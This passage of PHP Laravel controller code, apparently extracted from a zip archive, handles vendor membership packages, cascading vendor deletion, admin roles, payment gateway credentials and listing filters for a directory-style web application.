$nextMembership->expire_date = Carbon::parse(Carbon::maxValue()->format('d-m-Y')); } $nextMembership->save(); } $this->sendMail(NULL, NULL, $request->payment_method, $vendor, $bs, 'admin_removed_current_package', NULL, $currPackage->title); Session::flash('success', 'Current Package removed successfully!'); return back(); } public function addNextPackage(Request $request) { $vendor_id = $request->vendor_id; $hasPendingMemb = VendorPermissionHelper::hasPendingMembership($vendor_id); if ($hasPendingMemb) { Session::flash('warning', 'This user already has a Pending Package. Please take an action (change / remove / approve / reject) for that package first.'); return back(); } $currMembership = VendorPermissionHelper::userPackage($vendor_id); $currPackage = Package::find($currMembership->package_id); $vendor = Vendor::where('id', $vendor_id)->first(); $bs = Basic::first(); $selectedPackage = Package::find($request->package_id); if ($currMembership->is_trial == 1) { Session::flash('warning', 'If your current package is trial package, then you have to change / remove the current package first.'); return back(); } // if current package is not lifetime package if ($currPackage->term != 'lifetime') { // calculate expire date for selected package if ($selectedPackage->term == 'monthly') { $exDate = Carbon::parse($currMembership->expire_date)->addDay()->addMonth()->format('d-m-Y'); } elseif ($selectedPackage->term == 'yearly') { $exDate = Carbon::parse($currMembership->expire_date)->addDay()->addYear()->format('d-m-Y'); } elseif ($selectedPackage->term == 'lifetime') { $exDate = Carbon::parse(Carbon::maxValue()->format('d-m-Y')); } // store a new membership for selected package $selectedMemb = Membership::create([ 'price' => $selectedPackage->price, 'currency' => $bs->base_currency_text, 'currency_symbol' => $bs->base_currency_symbol, 'payment_method' => $request->payment_method, 'transaction_id' => uniqid(), 'status' => 1, 'receipt' => NULL, 'transaction_details' => NULL, 'settings' => null, 'package_id' => $selectedPackage->id, 'vendor_id' => $vendor_id, 'start_date' => Carbon::parse(Carbon::parse($currMembership->expire_date)->addDay()->format('d-m-Y')), 'expire_date' => Carbon::parse($exDate), 'is_trial' => 0, 'trial_days' => 0, ]); $this->sendMail($selectedMemb, $selectedPackage, $request->payment_method, $vendor, $bs, 'admin_added_next_package'); } else { Session::flash('warning', 'If your current package is lifetime package, then you have to change / remove the current package first.'); return back(); } Session::flash('success', 'Next Package has been added successfully!'); return back(); } public function changeNextPackage(Request $request) { $vendor_id = $request->vendor_id; $vendor = Vendor::where('id', $vendor_id)->first(); $bs = Basic::first(); $nextMembership = VendorPermissionHelper::nextMembership($vendor_id); $nextPackage = Package::find($nextMembership->package_id); $selectedPackage = Package::find($request->package_id); $prevStartDate = $nextMembership->start_date; // set the start_date to unlimited $nextMembership->start_date = Carbon::parse(Carbon::maxValue()->format('d-m-Y')); $nextMembership->modified = 1; $nextMembership->save(); // calculate expire date for selected package if ($selectedPackage->term == 'monthly') { $exDate = Carbon::parse($prevStartDate)->addMonth()->format('d-m-Y'); } elseif ($selectedPackage->term == 'yearly') { $exDate = Carbon::parse($prevStartDate)->addYear()->format('d-m-Y'); } elseif ($selectedPackage->term == 'lifetime') { $exDate = Carbon::parse(Carbon::maxValue()->format('d-m-Y')); } // store a new membership for selected package $selectedMemb = Membership::create([ 'price' => $selectedPackage->price, 'currency' => $bs->base_currency_text, 'currency_symbol' => $bs->base_currency_symbol, 'payment_method' => $request->payment_method, 'transaction_id' => uniqid(), 'status' => 1, 'receipt' => NULL, 'transaction_details' => NULL, 'settings' => json_encode($bs), 'package_id' => $selectedPackage->id, 'vendor_id' => $vendor_id, 'start_date' => Carbon::parse($prevStartDate), 'expire_date' => Carbon::parse($exDate), 'is_trial' => 0, 'trial_days' => 0, ]); $this->sendMail($selectedMemb, $selectedPackage, $request->payment_method, $vendor, $bs, 'admin_changed_next_package', $nextPackage->title); Session::flash('success', 'Next Package changed successfully!'); return back(); } public function removeNextPackage(Request $request) { $vendor_id = $request->vendor_id; $vendor = Vendor::where('id', $vendor_id)->first(); $bs = Basic::first(); $nextMembership = VendorPermissionHelper::nextMembership($vendor_id); // set the start_date to unlimited $nextMembership->start_date = Carbon::parse(Carbon::maxValue()->format('d-m-Y')); $nextMembership->modified = 1; $nextMembership->save(); $nextPackage = Package::select('title')->findOrFail($nextMembership->package_id); $this->sendMail(NULL, NULL, $request->payment_method, $vendor, $bs, 'admin_removed_next_package', NULL, $nextPackage->title); Session::flash('success', 'Next Package removed successfully!'); return back(); } //secrtet login public function secret_login($id) { Session::put('secret_login', 1); $vendor = Vendor::where('id', $id)->first(); Auth::guard('vendor')->login($vendor); return redirect()->route('vendor.dashboard'); } public function destroy($id) { $vendor = Vendor::findOrFail($id); // vendor memeberships $memberships = $vendor->memberships()->get(); foreach ($memberships as $membership) { @unlink(public_path('assets/front/img/membership/receipt/') . $membership->receipt); $membership->delete(); } //vendor infos $vendor_infos = $vendor->vendor_infos()->get(); foreach ($vendor_infos as $info) { $info->delete(); } //delete vendor cars $listings = $vendor->listings()->get(); foreach ($listings as $listing) { //delete all the contents of this listing $contents = $listing->listing_content()->get(); foreach ($contents as $content) { $content->delete(); } // delete feature_image image and video image of this listing if (!is_null($listing->feature_image)) { @unlink(public_path('assets/img/listing/') . $listing->feature_image); } if (!is_null($listing->video_background_image)) { @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); } //delete all the images of this listing $galleries = $listing->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing-gallery/') . $gallery->image); $gallery->delete(); } //delete all Features for this listing $listingFeatures = $listing->specifications()->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } //delete feature order $featureOrders = FeatureOrder::where('listing_id', $listing->id)->get(); if (!is_null($featureOrders)) { foreach ($featureOrders as $order) { if (!is_null($order->attachment)) { @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); } $order->delete(); } } //delete all message for this listing $listingMessages = ListingMessage::where('listing_id', $listing->id)->get(); if (!is_null($listingMessages)) { foreach ($listingMessages as $message) { $message->delete(); } } //delete all reviews for this listing $reviews = ListingReview::where('listing_id', $listing->id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } //delete all visit for this listing $visitors = Visitor::where('listing_id', $listing->id)->get(); if (!is_null($visitors)) { foreach ($visitors as $visitor) { $visitor->delete(); } } //delete all faq for this listing $faqs = $listing->listingFaqs()->get(); foreach ($faqs as $faq) { $faq->delete(); } //delete all follow us for this listing $sociallinks = $listing->sociallinks()->get(); foreach ($sociallinks as $sociallink) { $sociallink->delete(); } //delete all business hours for this listing BusinessHour::where('listing_id', $listing->id)->delete(); //delete all products $products = ListingProduct::where('listing_id', $listing->id)->get(); if (!is_null($products)) { foreach ($products as $product) { $productcontents = $product->listing_product_content()->get(); //delete all product contents foreach ($productcontents as $productcontent) { $productcontent->delete(); } //delete product feature image if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } //delete all product slider images $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } //delete this product //delete all message for this listing $productMessages = ProductMessage::where('product_id', $product->id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } $product->delete(); } } // finally, delete this listing $listing->delete(); } //delete all vendor's support ticket $support_tickets = SupportTicket::where([['user_id', $vendor->id], ['user_type', 'vendor']])->get(); foreach ($support_tickets as $support_ticket) { //delete conversation $messages = $support_ticket->messages()->get(); foreach ($messages as $message) { @unlink(public_path('assets/admin/img/support-ticket/' . $message->file)); $message->delete(); } @unlink(public_path('assets/admin/img/support-ticket/attachment/') . $support_ticket->attachment); $support_ticket->delete(); } //finally delete the vendor @unlink(public_path('assets/admin/img/vendor-photo/') . $vendor->photo); $vendor->delete(); return redirect()->back()->with('success', 'Vendor info deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $vendor = Vendor::findOrFail($id); // vendor memeberships $memberships = $vendor->memberships()->get(); foreach ($memberships as $membership) { @unlink(public_path('assets/front/img/membership/receipt/') . $membership->receipt); $membership->delete(); } //vendor infos $vendor_infos = $vendor->vendor_infos()->get(); foreach ($vendor_infos as $info) { $info->delete(); } //delete vendor listings $listings = $vendor->listings()->get(); foreach ($listings as $listing) { //delete all the contents of this listing $contents = $listing->listing_content()->get(); foreach ($contents as $content) { $content->delete(); } // delete feature_image image and video image of this listing if (!is_null($listing->feature_image)) { @unlink(public_path('assets/img/listing/') . $listing->feature_image); } if (!is_null($listing->video_background_image)) { @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); } //delete all the images of this listing $galleries = $listing->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing-gallery/') . $gallery->image); $gallery->delete(); } //delete all Features for this listing $listingFeatures = $listing->specifications()->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } //delete feature order $featureOrders = FeatureOrder::where('listing_id', $listing->id)->get(); if (!is_null($featureOrders)) { foreach ($featureOrders as $order) { if (!is_null($order->attachment)) { @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); } $order->delete(); } } //delete all message for this listing $listingMessages = ListingMessage::where('listing_id', $listing->id)->get(); if (!is_null($listingMessages)) { foreach ($listingMessages as $message) { $message->delete(); } } //delete all reviews for this listing $reviews = ListingReview::where('listing_id', $listing->id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } //delete all visit for this listing $visitors = Visitor::where('listing_id', $listing->id)->get(); if (!is_null($visitors)) { foreach ($visitors as $visitor) { $visitor->delete(); } } //delete all faq for this listing $faqs = $listing->listingFaqs()->get(); foreach ($faqs as $faq) { $faq->delete(); } //delete all follow us for this listing $sociallinks = $listing->sociallinks()->get(); foreach ($sociallinks as $sociallink) { $sociallink->delete(); } //delete all business hours for this listing BusinessHour::where('listing_id', $listing->id)->delete(); //delete all products $products = ListingProduct::where('listing_id', $listing->id)->get(); if (!is_null($products)) { foreach ($products as $product) { $productcontents = $product->listing_product_content()->get(); //delete all product contents foreach ($productcontents as $productcontent) { $productcontent->delete(); } //delete product feature image if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } //delete all product slider images $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } //delete this product //delete all message for this listing $productMessages = ProductMessage::where('product_id', $product->id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } $product->delete(); } } // finally, delete this listing $listing->delete(); } //delete all vendor's support ticket $support_tickets = SupportTicket::where([['user_id', $vendor->id], ['user_type', 'vendor']])->get(); foreach ($support_tickets as $support_ticket) { //delete conversation $messages = $support_ticket->messages()->get(); foreach ($messages as $message) { @unlink(public_path('assets/admin/img/support-ticket/' . $message->file)); $message->delete(); } @unlink(public_path('assets/admin/img/support-ticket/attachment/') . $support_ticket->attachment); $support_ticket->delete(); } //finally delete the vendor @unlink(public_path('assets/admin/img/vendor-photo/') . $vendor->photo); $vendor->delete(); } Session::flash('success', 'Vendors info deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\  <Http/Controllers/Admin/Administrator/SiteAdminController.phpnu[where('role_id', '!=', NULL)->get(); $admins->map(function ($admin) { $role = $admin->role()->first(); $admin['roleName'] = $role->name; }); $information['admins'] = $admins; return view('admin.administrator.site-admin.index', $information); } public function store(StoreRequest $request) { $imageName = UploadFile::store(public_path('assets/img/admins/'), $request->file('image')); Admin::query()->create($request->except('image', 'password') + [ 'image' => $imageName, 'password' => Hash::make($request->password) ]); Session::flash('success', 'New admin added successfully!'); return response()->json(['status' => 'success'], 200); } public function updateStatus(Request $request, $id) { $admin = Admin::query()->find($id); if ($request->status == 1) { $admin->update(['status' => 1]); } else { $admin->update(['status' => 0]); } Session::flash('success', 'Status updated successfully!'); return redirect()->back(); } public function update(UpdateRequest $request) { $admin = Admin::query()->find($request->id); if ($request->hasFile('image')) { $imageName = UploadFile::update(public_path('assets/img/admins/'), $request->file('image'), $admin->image); } $admin->update($request->except('image') + [ 'image' => $request->hasFile('image') ? $imageName : $admin->image ]); Session::flash('success', 'Admin updated successfully!'); return response()->json(['status' => 'success'], 200); } public function destroy($id) { $admin = Admin::query()->find($id); // delete admin profile picture @unlink(public_path('assets/img/admins/') . $admin->image); $admin->delete(); return redirect()->back()->with('success', 'Admin deleted successfully!'); } } PK(\A) AHttp/Controllers/Admin/Administrator/RolePermissionController.phpnu[orderByDesc('id')->get(); return view('admin.administrator.role-permission.index', compact('roles')); } public function store(Request $request) { $rule = ['name' => 'required']; $validator = Validator::make($request->all(), $rule); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } RolePermission::query()->create($request->all()); Session::flash('success', 'New role added successfully!'); return Response::json(['status' => 'success'], 200); } public function permissions($id) { $role = RolePermission::query()->findOrFail($id); return view('admin.administrator.role-permission.permissions', compact('role')); } public function updatePermissions(Request $request, $id) { $role = RolePermission::query()->find($id); $role->update([ 'permissions' => json_encode($request->permissions) ]); Session::flash('success', 'Permissions updated successfully!'); return redirect()->back(); } public function update(Request $request) { $rule = ['name' => 'required']; $validator = Validator::make($request->all(), $rule); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $role = RolePermission::query()->find($request->id); $role->update($request->all()); Session::flash('success', 'Role updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $role = RolePermission::query()->find($id); if ($role->adminInfo()->count() > 0) { return redirect()->back()->with('warning', 'First delete all the admins of this role!'); } else { $role->delete(); return redirect()->back()->with('success', 'Role deleted successfully!'); } } } PK(\IOv--AHttp/Controllers/Admin/PaymentGateway/OnlineGatewayController.phpnu[first(); $gatewayInfo['instamojo'] = OnlineGateway::where('keyword', 'instamojo')->first(); $gatewayInfo['paystack'] = OnlineGateway::where('keyword', 'paystack')->first(); $gatewayInfo['flutterwave'] = OnlineGateway::where('keyword', 'flutterwave')->first(); $gatewayInfo['razorpay'] = OnlineGateway::where('keyword', 'razorpay')->first(); $gatewayInfo['mercadopago'] = OnlineGateway::where('keyword', 'mercadopago')->first(); $gatewayInfo['mollie'] = OnlineGateway::where('keyword', 'mollie')->first(); $gatewayInfo['stripe'] = OnlineGateway::where('keyword', 'stripe')->first(); $gatewayInfo['paytm'] = OnlineGateway::where('keyword', 'paytm')->first(); $gatewayInfo['anet'] = OnlineGateway::where('keyword', 'authorize.net')->first(); return view('admin.payment-gateways.online-gateways', $gatewayInfo); } public function updatePayPalInfo(Request $request) { $rules = [ 'paypal_status' => 'required', 'paypal_sandbox_status' => 'required', 'paypal_client_id' => 'required', 'paypal_client_secret' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['sandbox_status'] = $request->paypal_sandbox_status; $information['client_id'] = $request->paypal_client_id; $information['client_secret'] = $request->paypal_client_secret; $paypalInfo = OnlineGateway::where('keyword', 'paypal')->first(); $paypalInfo->update([ 'information' => json_encode($information), 'status' => $request->paypal_status ]); Session::flash('success', 'PayPal\'s information updated successfully!'); return redirect()->back(); } public function updateInstamojoInfo(Request $request) { $rules = [ 'instamojo_status' => 'required', 'instamojo_sandbox_status' => 'required', 'instamojo_key' => 'required', 'instamojo_token' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['sandbox_status'] = $request->instamojo_sandbox_status; $information['key'] = $request->instamojo_key; $information['token'] = $request->instamojo_token; $instamojoInfo = OnlineGateway::where('keyword', 'instamojo')->first(); $instamojoInfo->update([ 'information' => json_encode($information), 'status' => $request->instamojo_status ]); Session::flash('success', 'Instamojo\'s information updated successfully!'); return redirect()->back(); } public function updatePaystackInfo(Request $request) { $rules = [ 'paystack_status' => 'required', 'paystack_key' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['key'] = $request->paystack_key; $paystackInfo = OnlineGateway::where('keyword', 'paystack')->first(); $paystackInfo->update([ 'information' => json_encode($information), 'status' => $request->paystack_status ]); Session::flash('success', 'Paystack\'s information updated successfully!'); return redirect()->back(); } public function updateFlutterwaveInfo(Request $request) { $rules = [ 'flutterwave_status' => 'required', 'flutterwave_public_key' => 'required', 'flutterwave_secret_key' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['public_key'] = $request->flutterwave_public_key; $information['secret_key'] = $request->flutterwave_secret_key; $flutterwaveInfo = OnlineGateway::where('keyword', 'flutterwave')->first(); $flutterwaveInfo->update([ 'information' => json_encode($information), 'status' => $request->flutterwave_status ]); $array = [ 'FLW_PUBLIC_KEY' => $request->flutterwave_public_key, 'FLW_SECRET_KEY' => $request->flutterwave_secret_key ]; setEnvironmentValue($array); Artisan::call('config:clear'); Session::flash('success', 'Flutterwave\'s information updated successfully!'); return redirect()->back(); } public function updateRazorpayInfo(Request $request) { $rules = [ 'razorpay_status' => 'required', 'razorpay_key' => 'required', 'razorpay_secret' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['key'] = $request->razorpay_key; $information['secret'] = $request->razorpay_secret; $razorpayInfo = OnlineGateway::where('keyword', 'razorpay')->first(); $razorpayInfo->update([ 'information' => json_encode($information), 'status' => $request->razorpay_status ]); Session::flash('success', 'Razorpay\'s information updated successfully!'); return redirect()->back(); } public function updateMercadoPagoInfo(Request $request) { $rules = [ 'mercadopago_status' => 'required', 'mercadopago_sandbox_status' => 'required', 'mercadopago_token' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['sandbox_status'] = $request->mercadopago_sandbox_status; $information['token'] = $request->mercadopago_token; $mercadopagoInfo = OnlineGateway::where('keyword', 'mercadopago')->first(); $mercadopagoInfo->update([ 'information' => json_encode($information), 'status' => $request->mercadopago_status ]); Session::flash('success', 'MercadoPago\'s information updated successfully!'); return redirect()->back(); } public function updateMollieInfo(Request $request) { $rules = [ 'mollie_status' => 'required', 'mollie_key' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['key'] = $request->mollie_key; $mollieInfo = OnlineGateway::where('keyword', 'mollie')->first(); $mollieInfo->update([ 'information' => json_encode($information), 'status' => $request->mollie_status ]); $array = ['MOLLIE_KEY' => $request->mollie_key]; setEnvironmentValue($array); Artisan::call('config:clear'); Session::flash('success', 'Mollie\'s information updated successfully!'); return redirect()->back(); } public function updateStripeInfo(Request $request) { $rules = [ 'stripe_status' => 'required', 'stripe_key' => 'required', 'stripe_secret' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['key'] = $request->stripe_key; $information['secret'] = $request->stripe_secret; $stripeInfo = OnlineGateway::where('keyword', 'stripe')->first(); $stripeInfo->update([ 'information' => json_encode($information), 'status' => $request->stripe_status ]); $array = [ 'STRIPE_KEY' => $request->stripe_key, 'STRIPE_SECRET' => $request->stripe_secret ]; setEnvironmentValue($array); Artisan::call('config:clear'); Session::flash('success', 'Stripe\'s information updated successfully!'); return redirect()->back(); } public function updatePaytmInfo(Request $request) { $rules = [ 'paytm_status' => 'required', 'paytm_environment' => 'required', 'paytm_merchant_key' => 'required', 'paytm_merchant_mid' => 'required', 'paytm_merchant_website' => 'required', 'paytm_industry_type' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $information['environment'] = $request->paytm_environment; $information['merchant_key'] = $request->paytm_merchant_key; $information['merchant_mid'] = $request->paytm_merchant_mid; $information['merchant_website'] = $request->paytm_merchant_website; $information['industry_type'] = $request->paytm_industry_type; $paytmInfo = OnlineGateway::where('keyword', 'paytm')->first(); $paytmInfo->update([ 'information' => json_encode($information), 'status' => $request->paytm_status ]); $array = [ 'PAYTM_ENVIRONMENT' => $request->paytm_environment, 'PAYTM_MERCHANT_KEY' => $request->paytm_merchant_key, 'PAYTM_MERCHANT_ID' => $request->paytm_merchant_mid, 'PAYTM_MERCHANT_WEBSITE' => $request->paytm_merchant_website, 'PAYTM_INDUSTRY_TYPE' => $request->paytm_industry_type ]; setEnvironmentValue($array); Artisan::call('config:clear'); Session::flash('success', 'Paytm\'s information updated successfully!'); return redirect()->back(); } public function updateAnetInfo(Request $request) { $anet = OnlineGateway::find(21); $anet->status = $request->status; $information = []; $information['login_id'] = $request->login_id; $information['transaction_key'] = $request->transaction_key; $information['public_key'] = $request->public_key; $information['sandbox_check'] = $request->sandbox_check; $information['text'] = "Pay via your Authorize.net account."; $anet->information = json_encode($information); $anet->save(); Session::flash('success', "Authorize.net informations updated successfully!"); return back(); } } PK(\q!? BHttp/Controllers/Admin/PaymentGateway/OfflineGatewayController.phpnu[get(); return view('admin.payment-gateways.offline-gateways.index', compact('offlineGateways')); } public function store(Request $request) { $rules = [ 'name' => 'required', 'has_attachment' => 'required', 'serial_number' => 'required|numeric' ]; $message = [ 'has_attachment.required' => 'The attachment field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } OfflineGateway::create($request->except('instructions') + [ 'instructions' => Purifier::clean($request->instructions, 'youtube') ]); Session::flash('success', 'New offline payment gateway added successfully!'); return Response::json(['status' => 'success'], 200); } public function updateStatus(Request $request, $id) { try { $offlineGateway = OfflineGateway::findOrFail($id); if ($request->status == 1) { $offlineGateway->update(['status' => 1]); } else { $offlineGateway->update(['status' => 0]); } Session::flash('success', 'Status updated successfully!'); } catch (ModelNotFoundException $e) { Session::flash('warning', 'No record found in database!'); } return redirect()->back(); } public function update(Request $request) { $rules = [ 'name' => 'required', 'has_attachment' => 'required', 'serial_number' => 'required|numeric' ]; $message = [ 'has_attachment.required' => 'The attachment field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } try { $gateway = OfflineGateway::findOrFail($request->id); $gateway->update($request->except('instructions') + [ 'instructions' => Purifier::clean($request->instructions, 'youtube') ]); Session::flash('success', 'Offline payment gateway updated successfully!'); } catch (ModelNotFoundException $e) { Session::flash('warning', 'No record found in database!'); } return Response::json(['status' => 'success'], 200); } public function destroy($id) { try { OfflineGateway::findOrFail($id)->delete(); return redirect()->back()->with('success', 'Offline payment gateway deleted successfully!'); } catch (ModelNotFoundException $e) { return redirect()->back()->with('warning', 'No record found in database!'); } } } PK(\Yngg4Http/Controllers/Admin/Listing/AminiteController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['aminites'] = $language->aminiteInfo()->orderByDesc('id')->get(); $information['langs'] = Language::all(); return view('admin.amenitie.index', $information); } public function store(Request $request) { $rules = [ 'language_id' => 'required', 'icon' => 'required', 'title' => [ 'required', Rule::unique('aminites')->where(function ($query) use ($request) { return $query->where('language_id', $request->input('language_id')); }), 'max:255', ], ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } Aminite::query()->create($request->except('language')); Session::flash('success', 'Aminite stored successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'title' => [ 'required', Rule::unique('aminites')->where(function ($query) use ($request) { return $query->where('language_id', $request->input('language_id')); })->ignore($request->id, 'id'), 'max:255', ], ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $aminiteInfo = Aminite::query()->find($request->id); $aminiteInfo->update($request->except('language')); Session::flash('success', 'Aminite updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $listing = ListingContent::select('aminities')->get(); $data = json_decode($listing, true); $found = false; foreach ($data as $item) { $aminities = json_decode($item['aminities']); if (in_array($id, $aminities)) { $found = true; break; } } if ($found) { return redirect()->back()->with('warning', 'First delete all the listing of this Amenitie!'); } else { $aminiteInfo = Aminite::query()->find($id); $aminiteInfo->delete(); return redirect()->back()->with('success', 'Aminite deleted successfully!'); } } public function bulkDestroy(Request $request) { $ids = $request['ids']; $listing = ListingContent::select('aminities')->get(); $data = json_decode($listing, true); $found = false; $errorOccurred = false; foreach ($ids as $id) { $found = false; foreach ($data as $item) { $aminities = json_decode($item['aminities']); if (in_array($id, $aminities)) { $found = true; break; } } if ($found) { $errorOccurred = true; break; } else { $aminiteInfo = Aminite::query()->find($id); $aminiteInfo->delete(); } } if ($errorOccurred == true) { Session::flash('warning', 'First delete all the listing of these Amenities!'); } else { Session::flash('success', 'Selected Informations deleted successfully!'); } return Response::json(['status' => 'success'], 200); } } PK(\Dv4Http/Controllers/Admin/Listing/ListingController.phpnu[select('listing_view', 'admin_approve_status')->first(); return view('admin.listing.settings', ['info' => $info]); } public function updateSettings(Request $request) { $rules = [ 'listing_view' => 'required|numeric', 'admin_approve_status' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } // store the tax amount info into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'listing_view' => $request->listing_view, 'admin_approve_status' => $request->admin_approve_status ] ); Session::flash('success', 'Updated Listing settings successfully!'); return redirect()->back(); } public function index(Request $request) { $information['currencyInfo'] = $this->getCurrencyInfo(); $information['langs'] = Language::all(); if ($request->language) { $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); } else { $language = Language::where('is_default', 1)->first(); } $information['language'] = $language; $language_id = $language->id; $status = $vendor_id = $title = $category = $featured = null; if (request()->filled('status') && request()->input('status') !== "All") { $status = request()->input('status'); } $category_listingIds = []; if ($request->filled('category') && $request->input('category') !== "All") { $category = $request->input('category'); $category_content = ListingCategory::where([['language_id', $language->id], ['slug', $category]])->first(); if (!is_null($category_content)) { $category = $category_content->id; $contents = ListingContent::where('language_id', $language->id) ->where('category_id', $category) ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $category_listingIds)) { array_push($category_listingIds, $content); } } } } $featured_listingIds = []; if ($request->filled('featured') && $request->input('featured') !== "All") { $featured = $request->input('featured'); if ($featured == 'active') { $contents = FeatureOrder::where('order_status', '=', 'completed') ->where('payment_status', '=', 'completed') ->whereDate('end_date', '>=', Carbon::now()->format('Y-m-d')) ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $featured_listingIds)) { array_push($featured_listingIds, $content); } } } if ($featured == 'pending') { $contents = FeatureOrder::where('order_status', '=', 'pending') ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $featured_listingIds)) { array_push($featured_listingIds, $content); } } } if ($featured == 'rejected') { $contents = FeatureOrder::where('order_status', '=', 'pending') ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $featured_listingIds)) { array_push($featured_listingIds, $content); } } $contentss = FeatureOrder::where('order_status', '=', 'completed') ->where('payment_status', '=', 'completed') ->whereDate('end_date', '>=', Carbon::now()->format('Y-m-d')) ->get() ->pluck('listing_id'); foreach ($contentss as $conten) { if (!in_array($conten, $featured_listingIds)) { array_push($featured_listingIds, $conten); } } } } if (request()->filled('vendor_id') && request()->input('vendor_id') !== "All") { $vendor_id = request()->input('vendor_id'); } $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } $information['listings'] = Listing::with(['listing_content' => function ($q) use ($language_id) { $q->where('language_id', $language_id); }]) ->when($category, function ($query) use ($category_listingIds) { return $query->whereIn('listings.id', $category_listingIds); }) ->when($featured, function ($query) use ($featured_listingIds, $featured) { if ($featured !== 'rejected') { return $query->whereIn('listings.id', $featured_listingIds); } else { return $query->whereNotIn('listings.id', $featured_listingIds); } }) ->when($status, function ($query) use ($status) { if ($status === 'approved') { return $query->where('status', 1); } elseif ($status === 'pending') { return $query->where('status', 0); } else { return $query->where('status', 2); } }) ->when($vendor_id, function ($query) use ($vendor_id) { if ($vendor_id === 'admin') { return $query->where('vendor_id', '0'); } else { return $query->where('vendor_id', $vendor_id); } }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('listings.id', $listingIds); }) ->orderBy('listings.id', 'desc') ->paginate(10); $information['categories'] = ListingCategory::Where('language_id', $language_id)->get(); // hhhhhhhhhhhhhhhh $information['onlineGateways'] = OnlineGateway::where('status', 1)->get(); $information['offline_gateways'] = OfflineGateway::where('status', 1)->orderBy('serial_number', 'asc')->get(); $information['vendors'] = Vendor::where('id', '!=', 0)->get(); $charges = FeaturedListingCharge::orderBy('days')->get(); $information['charges'] = $charges; return view('admin.listing.index', $information); } public function create($id) { if ($id != 0) { $package = VendorPermissionHelper::packagePermission($id); if ($package != '[]') { $information = []; $languages = Language::get(); $information['languages'] = $languages; $information['vendor_id'] = $id; return view('admin.listing.create', $information); } else { Session::flash('warning', 'This vendor has\'t membership.!'); return redirect()->route('admin.listing_management.select_vendor'); } } else { $information = []; $languages = Language::get(); $information['languages'] = $languages; $information['vendor_id'] = $id; return view('admin.listing.create', $information); } } public function selectVendor() { $information = []; $languages = Language::get(); $information['languages'] = $languages; $information['vendors'] = 